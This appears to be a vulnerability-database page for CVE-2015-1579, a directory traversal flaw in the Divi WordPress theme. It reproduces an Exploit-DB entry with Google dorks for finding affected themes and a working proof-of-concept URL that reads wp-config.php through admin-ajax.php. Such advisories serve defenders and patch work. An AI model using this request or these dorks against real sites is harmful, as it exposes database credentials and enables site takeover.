CVE-2015-1579

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Published 2015-02-11 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34511 webapps php verified text · 2 KB

Hugo Santiago · 2014-09-01

Mulitple WordPress Themes - 'admin-ajax.php?img' Arbitrary File Download

text exploit Source: Exploit-DB

# WordPress CuckooTap Theme & eShop Arbitrary File Download
# Risk: High
# CWE number: CWE-200
# Author: Hugo Santiago
# Contact: hugo.s@linuxmail.org
# Date: 31/08/2014
# Vendor Homepage: http://themeforest.net/item/cuckootap-one-page-parallax-wp-theme-plus-eshop/3512405
# Tested on: Windows 7 and Gnu/Linux
# Google Dork: "Index of" +/wp-content/themes/cuckootap/

# WordPress IncredibleWP Theme Arbitrary File Download
# Vendor Homepage: http://freelancewp.com/wordpress-theme/incredible-wp/
# Google Dork: "Index of" +/wp-content/themes/IncredibleWP/

# WordPress Ultimatum Theme Arbitrary File Download
# Vendor Homepage: http://ultimatumtheme.com/ultimatum-themes/s
# Google Dork: "Index of" +/wp-content/themes/ultimatum

# WordPress Medicate Theme Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/medicate-responsive-medical-and-health-theme/3707916
# Google Dork: "Index of" +/wp-content/themes/medicate/

# WordPress Centum Theme Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/centum-responsive-wordpress-theme/3216603
# Google Dork: "Index of" +/wp-content/themes/Centum/

# WordPress Avada Theme Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
# Google Dork: "Index of" +/wp-content/themes/Avada/

# WordPress Striking Theme & E-Commerce Arbitrary File Download
# Vendor Homepage: http://themeforest.net/item/striking-multiflex-ecommerce-responsive-wp-theme/128763
# Google Dork: "Index of" +/wp-content/themes/striking_r/

# WordPress Beach Apollo Arbitrary File Download
# Vendor Homepage: https://www.authenticthemes.com/theme/apollo/
# Google Dork: "Index of" +/wp-content/themes/beach_apollo/


PoC:

http://victim/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

EDB-36554 webapps php

Claudio Viviani · 2015-03-30

WordPress Plugin Slider REvolution 4.1.4 - Arbitrary File Download

Source code queued for fetch — refresh in a moment.

Application impact

Vendor	Product	Versions	Fixed
elegantthemes	divi	`-`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.